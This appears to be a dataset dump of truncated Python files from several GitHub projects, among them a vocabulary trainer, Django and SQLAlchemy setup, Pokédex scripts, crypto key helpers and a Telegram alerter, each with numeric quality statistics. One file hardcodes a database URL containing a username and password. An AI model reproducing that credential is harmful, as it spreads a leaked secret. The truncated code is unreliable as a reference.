behavior/flexbe/sweetie_bot_soar_flexbe_behaviors/src/sweetie_bot_soar_flexbe_behaviors/executelookat_sm.py
sweetie-bot-project/sweetie_bot
f15f9cb01f2763d0b9d62624a400a01961609762
[ "BSD-3-Clause" ]
9
2019-08-11T17:40:11.000Z
2022-01-17T00:50:24.000Z
behavior/flexbe/sweetie_bot_soar_flexbe_behaviors/src/sweetie_bot_soar_flexbe_behaviors/executelookat_sm.py
sweetie-bot-project/sweetie_bot
f15f9cb01f2763d0b9d62624a400a01961609762
[ "BSD-3-Clause" ]
null
null
null
behavior/flexbe/sweetie_bot_soar_flexbe_behaviors/src/sweetie_bot_soar_flexbe_behaviors/executelookat_sm.py
sweetie-bot-project/sweetie_bot
f15f9cb01f2763d0b9d62624a400a01961609762
[ "BSD-3-Clause" ]
2
2019-12-23T05:06:34.000Z
2020-07-14T10:07:33.000Z
#!/usr/bin/env python # -*- coding: utf-8 -*- ########################################################### # WARNING: Generated code! # # ************************** # # Manual changes may get lost if file is generated again. # # Only code inside the [MANUAL] ta...
35.919192
234
0.652137
381
3,556
5.916011
0.417323
0.029281
0.017746
0.028394
0.126886
0.070985
0.070985
0.070985
0.037267
0
0
0.030334
0.174916
3,556
98
235
36.285714
0.7379
0.277559
0
0
1
0
0.259008
0.026282
0
0
0
0
0
1
0.055556
false
0
0.083333
0
0.194444
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
32ef2c532c9c5a40425e122a2d3fe4ba43d5a709
813
py
Python
data/main.py
Simon-Bastian/VokTrainData
e43756dac12ba0923e34bc395e8ae0f757eb2f2b
[ "Unlicense" ]
null
null
null
data/main.py
Simon-Bastian/VokTrainData
e43756dac12ba0923e34bc395e8ae0f757eb2f2b
[ "Unlicense" ]
null
null
null
data/main.py
Simon-Bastian/VokTrainData
e43756dac12ba0923e34bc395e8ae0f757eb2f2b
[ "Unlicense" ]
null
null
null
from tkinter import Tk, simpledialog, messagebox import random print('Vokabel Trainer by ItzSimmi, Verion 0.1 Beta') root = Tk() root.withdraw() abfrage = {} while True: aufgabe = simpledialog.askstring('Aufgabe', '1: Abfrage 2: Eingeben') if aufgabe == '1': while True: line ...
33.875
113
0.595326
87
813
5.494253
0.54023
0.056485
0.037657
0
0
0
0
0
0
0
0
0.010381
0.289053
813
24
114
33.875
0.816609
0
0
0.142857
0
0
0.214918
0
0
0
0
0
0
0
null
null
0
0.095238
null
null
0.142857
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
32f77fa3a7420c8c2a4c2edbaf307f104e6b4c67
408
py
Python
PigeonAPIPython/database.py
coderealmhub/PigeonAPIPython
2cd809534f938fb5bf215148cdd4867bc13911f0
[ "MIT" ]
null
null
null
PigeonAPIPython/database.py
coderealmhub/PigeonAPIPython
2cd809534f938fb5bf215148cdd4867bc13911f0
[ "MIT" ]
null
null
null
PigeonAPIPython/database.py
coderealmhub/PigeonAPIPython
2cd809534f938fb5bf215148cdd4867bc13911f0
[ "MIT" ]
1
2020-12-29T04:28:49.000Z
2020-12-29T04:28:49.000Z
from sqlalchemy import create_engine from sqlalchemy.ext.declarative import declarative_base from sqlalchemy.orm import sessionmaker SQLALCHEMY_DATABASE_URL = "mysql+mysqlconnector://wwreal_app:$zfmJWxLGyehyqY$JyUTiIvlTOSw7xCN@localhost:3306/wwreal_app" engine = create_engine(SQLALCHEMY_DATABASE_URL,) SessionLocal =...
37.090909
120
0.852941
47
408
7.191489
0.531915
0.12426
0.12426
0
0
0
0
0
0
0
0
0.013193
0.071078
408
11
121
37.090909
0.878628
0
0
0
0
0
0.224939
0.224939
0
0
0
0
0
1
0
false
0
0.428571
0
0.428571
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
1
32fcaa679aa612ed96ba17b435c155fc77a517a2
477
py
Python
job-queue-portal/postgres_django_queue/djangoenv/lib/python3.8/site-packages/django_celery_results/utils.py
Sruthi-Ganesh/postgres-django-queue
4ea8412c073ff8ceb0efbac48afc29456ae11346
[ "Apache-2.0" ]
null
null
null
job-queue-portal/postgres_django_queue/djangoenv/lib/python3.8/site-packages/django_celery_results/utils.py
Sruthi-Ganesh/postgres-django-queue
4ea8412c073ff8ceb0efbac48afc29456ae11346
[ "Apache-2.0" ]
1
2022-01-21T20:07:50.000Z
2022-01-21T20:07:50.000Z
job-queue-portal/postgres_django_queue/djangoenv/lib/python3.8/site-packages/django_celery_results/utils.py
Sruthi-Ganesh/postgres-django-queue
4ea8412c073ff8ceb0efbac48afc29456ae11346
[ "Apache-2.0" ]
null
null
null
"""Utilities.""" # -- XXX This module must not use translation as that causes # -- a recursive loader import! from django.conf import settings from django.utils import timezone # see Issue celery/django-celery#222 now_localtime = getattr(timezone, 'template_localtime', timezone.localtime) def now(): """Return t...
26.5
75
0.708595
62
477
5.387097
0.645161
0.05988
0
0
0
0
0
0
0
0
0
0.007653
0.178197
477
17
76
28.058824
0.844388
0.352201
0
0
0
0
0.081356
0
0
0
0
0
0
1
0.125
false
0
0.25
0
0.625
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
fd0391696b631ab853df4ad9d8271c7561294f5b
2,940
py
Python
notify/templates.py
jelitox/async-notify
d297c20e6dc4b524b7c5447cb07611f63a7a7848
[ "Apache-2.0", "BSD-3-Clause" ]
1
2022-03-02T03:17:39.000Z
2022-03-02T03:17:39.000Z
notify/templates.py
jelitox/async-notify
d297c20e6dc4b524b7c5447cb07611f63a7a7848
[ "Apache-2.0", "BSD-3-Clause" ]
1
2022-03-03T17:57:30.000Z
2022-03-03T17:57:30.000Z
notify/templates.py
jelitox/async-notify
d297c20e6dc4b524b7c5447cb07611f63a7a7848
[ "Apache-2.0", "BSD-3-Clause" ]
1
2022-03-02T03:19:45.000Z
2022-03-02T03:19:45.000Z
import logging from pathlib import Path from notify.settings import MEMCACHE_HOST, MEMCACHE_PORT from asyncdb.providers.mcache import mcache from typing import ( Dict, Optional ) from jinja2 import ( Environment, FileSystemLoader, MemcachedBytecodeCache ) # TODO: implementing a bytecode-cache on r...
30
82
0.57619
285
2,940
5.852632
0.389474
0.035971
0.030576
0.035971
0.106715
0.106715
0.106715
0.106715
0
0
0
0.004042
0.326871
2,940
97
83
30.309278
0.838807
0.078571
0
0.1375
0
0
0.121043
0.007821
0
0
0
0.020619
0
1
0.05
false
0
0.075
0.0125
0.175
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
fd06285f05b77bb33c13bb93e4b627e63a3758d2
24,435
py
Python
shizuka/model_selection.py
phetdam/shizuka
ec75589e4a9de87502356ac6aca81f8e6841505e
[ "MIT" ]
null
null
null
shizuka/model_selection.py
phetdam/shizuka
ec75589e4a9de87502356ac6aca81f8e6841505e
[ "MIT" ]
null
null
null
shizuka/model_selection.py
phetdam/shizuka
ec75589e4a9de87502356ac6aca81f8e6841505e
[ "MIT" ]
null
null
null
# implements some useful methods for model selection. intended as a complement # to the more general methods available in sklearn or other libraries. # # Changelog: # # 06-26-2020 # # add warning about needing dask.array.Array for out-of-core computation + fix # :doc: reference to module_compat.rst. corrected ...
50.174538
87
0.618744
3,069
24,435
4.804497
0.183122
0.013835
0.010173
0.003662
0.239335
0.187521
0.139301
0.134893
0.127026
0.115226
0
0.00852
0.308328
24,435
486
88
50.277778
0.863913
0.542419
0
0.182796
0
0
0.183804
0.002792
0
0
0
0
0
1
0.010753
false
0.05914
0.069892
0
0.086022
0.005376
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
fd1ba03f271273454b177b52c9122cdc6b408f16
5,715
py
Python
scripts/pokemon_species.py
ymin1103/pokedex
18925edcd3ad71dd912a94ce4b1bc1435943937a
[ "MIT" ]
1,177
2015-01-09T02:17:26.000Z
2022-03-30T05:29:06.000Z
scripts/pokemon_species.py
ymin1103/pokedex
18925edcd3ad71dd912a94ce4b1bc1435943937a
[ "MIT" ]
224
2015-01-13T04:44:52.000Z
2022-03-28T18:16:35.000Z
scripts/pokemon_species.py
ymin1103/pokedex
18925edcd3ad71dd912a94ce4b1bc1435943937a
[ "MIT" ]
810
2015-01-14T22:40:39.000Z
2022-03-23T16:24:54.000Z
# Encoding: UTF-8 """Reorganize Pokemon, PokemonForm, etc. to Species, Pokemon, etc. This is an unmaintained one-shot script, only included in the repo for reference. """ import csv import os from pokedex import defaults number_of_species = 649 high_id_start = 10000 csv_dir = defaults.get_default_csv_dir() def t...
34.636364
89
0.669291
746
5,715
4.798928
0.205094
0.089385
0.027374
0.03352
0.228212
0.168156
0.149721
0.09581
0.051955
0.027374
0
0.002727
0.230096
5,715
164
90
34.847561
0.810909
0.010324
0
0.101449
0
0
0.165009
0.026519
0
0
0
0
0.007246
0
null
null
0.007246
0.021739
null
null
0.014493
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
fd1d5ac53718fb83cd0296806fd177df5234ee8a
1,215
py
Python
authors/apps/notifications/serializers.py
andela/ah-backend-tesseract
ed3c932cdfa2661662100bb50727f5239d1a6d14
[ "BSD-3-Clause" ]
null
null
null
authors/apps/notifications/serializers.py
andela/ah-backend-tesseract
ed3c932cdfa2661662100bb50727f5239d1a6d14
[ "BSD-3-Clause" ]
56
2018-08-28T13:18:19.000Z
2021-06-10T20:49:30.000Z
authors/apps/notifications/serializers.py
andela/ah-backend-tesseract
ed3c932cdfa2661662100bb50727f5239d1a6d14
[ "BSD-3-Clause" ]
4
2018-08-24T04:40:32.000Z
2021-06-30T09:47:08.000Z
from rest_framework import serializers from authors.apps.articles.models import Article from authors.apps.authentication.models import User from authors.apps.notifications.models import Notification, Subscription class NotificationSerializer(serializers.ModelSerializer): message = serializers.CharField() te...
25.851064
72
0.711934
125
1,215
6.728
0.368
0.123662
0.053508
0.042806
0.097503
0.097503
0.097503
0.097503
0
0
0
0
0.209054
1,215
46
73
26.413043
0.87513
0
0
0.2
0
0
0.029703
0
0
0
0
0
0
1
0.1
false
0
0.133333
0.066667
0.7
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
fd1e64eb1dfbf78726e9b4579450f4c329cbec58
386
py
Python
tests/taxonomy/test_zsh.py
HansolChoe/defects4cpp
cb9e3db239c50e6ec38127cec117865f0ee7a5cf
[ "MIT" ]
10
2021-06-23T01:53:19.000Z
2022-03-31T03:14:01.000Z
tests/taxonomy/test_zsh.py
HansolChoe/defects4cpp
cb9e3db239c50e6ec38127cec117865f0ee7a5cf
[ "MIT" ]
34
2021-05-27T01:09:04.000Z
2022-03-28T07:53:35.000Z
tests/taxonomy/test_zsh.py
HansolChoe/defects4cpp
cb9e3db239c50e6ec38127cec117865f0ee7a5cf
[ "MIT" ]
6
2021-09-03T07:16:56.000Z
2022-03-29T07:30:35.000Z
from typing import Callable import pytest from tests.taxonomy.conftest import TestDirectory, validate_taxonomy @pytest.mark.parametrize("defect", [(1, 1), (2, 56), (3, 22), (4, 29), (5, 42)]) def test_zsh(defect, defect_path: Callable[[int, int], TestDirectory], gitenv): index, case = defect test_dir = defe...
29.692308
80
0.715026
54
386
4.981481
0.574074
0.100372
0
0
0
0
0
0
0
0
0
0.042424
0.145078
386
12
81
32.166667
0.772727
0
0
0
0
0
0.015544
0
0
0
0
0
0
1
0.125
false
0
0.375
0
0.5
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
1
fd233a919e390280b3cfa2d5f6cbab10111020c7
2,845
py
Python
handyhelpers/keys.py
JamesPerisher/usefull-resources
3f8d283b7c75fed2dd2ff5ede67566df1ea73f1a
[ "MIT" ]
1
2020-04-01T13:55:42.000Z
2020-04-01T13:55:42.000Z
handyhelpers/keys.py
JamesPerisher/handyhelpers
3f8d283b7c75fed2dd2ff5ede67566df1ea73f1a
[ "MIT" ]
null
null
null
handyhelpers/keys.py
JamesPerisher/handyhelpers
3f8d283b7c75fed2dd2ff5ede67566df1ea73f1a
[ "MIT" ]
1
2020-05-29T11:10:17.000Z
2020-05-29T11:10:17.000Z
import base64 from cryptography.fernet import Fernet from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives import serialization from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives.asymmetri...
27.892157
93
0.620738
294
2,845
5.85034
0.238095
0.040698
0.063953
0.074419
0.375581
0.262791
0.206977
0.095349
0.095349
0.095349
0
0.016675
0.283304
2,845
101
94
28.168317
0.826876
0
0
0.35443
0
0
0.006327
0
0
0
0
0
0
1
0.189873
false
0.050633
0.088608
0.088608
0.468354
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
fd23f6979c84bc7690181bd3ad1baf2a30a042ea
3,004
py
Python
tg.py
Vponed/tg-seyalka
0eb25a25e28128603a759cfde709790992e4fe96
[ "Unlicense" ]
2
2021-09-08T19:03:58.000Z
2021-09-08T19:05:06.000Z
tg.py
Vponed/tg-seyalka
0eb25a25e28128603a759cfde709790992e4fe96
[ "Unlicense" ]
null
null
null
tg.py
Vponed/tg-seyalka
0eb25a25e28128603a759cfde709790992e4fe96
[ "Unlicense" ]
null
null
null
# -*- coding: cp1251 -*- from telethon import TelegramClient, events,utils,types from telethon.tl.types import InputPeerUser import plyer from audioplayer import AudioPlayer import json import asyncio import json interval = 60 api_id = 995882 api_hash = my_channel_id = 't.me/message_alerter' def settings_load(): f...
34.528736
175
0.666112
414
3,004
4.644928
0.26087
0.079043
0.091524
0.109204
0.420177
0.403536
0.403536
0.357774
0.357774
0.26053
0
0.008932
0.180093
3,004
86
176
34.930233
0.771823
0.053595
0
0.352113
0
0
0.12055
0
0
0
0
0
0
0
null
null
0.028169
0.098592
null
null
0.070423
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
fd24019ef9a410e38f58935fe2adeb80bc54cd4f
2,590
py
Python
src/ggplib/util/log.py
richemslie/ggplib
8388678f311db4a9906d8a3aff71d3f0037b623b
[ "MIT" ]
11
2019-03-02T13:49:07.000Z
2021-12-21T17:03:05.000Z
src/ggplib/util/log.py
ggplib/ggplib
8388678f311db4a9906d8a3aff71d3f0037b623b
[ "MIT" ]
2
2019-05-15T18:23:50.000Z
2019-05-19T08:13:19.000Z
src/ggplib/util/log.py
ggplib/ggplib
8388678f311db4a9906d8a3aff71d3f0037b623b
[ "MIT" ]
1
2020-04-02T17:35:35.000Z
2020-04-02T17:35:35.000Z
__all__ = "initialise verbose debug info warning critical Log".split() cpp_log = None def initialise(logname=None): if logname is None: global cpp_log from ggplib.interface import Logging cpp_log = Logging() else: init_basic_python_logging(logname) def init_basic_python_log...
20.077519
78
0.609653
340
2,590
4.494118
0.235294
0.074607
0.054974
0.043194
0.337042
0.253272
0.117801
0
0
0
0
0.004327
0.2861
2,590
128
79
20.234375
0.822066
0.042085
0
0.215909
0
0
0.067824
0
0
0
0
0
0
0
null
null
0
0.022727
null
null
0.068182
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1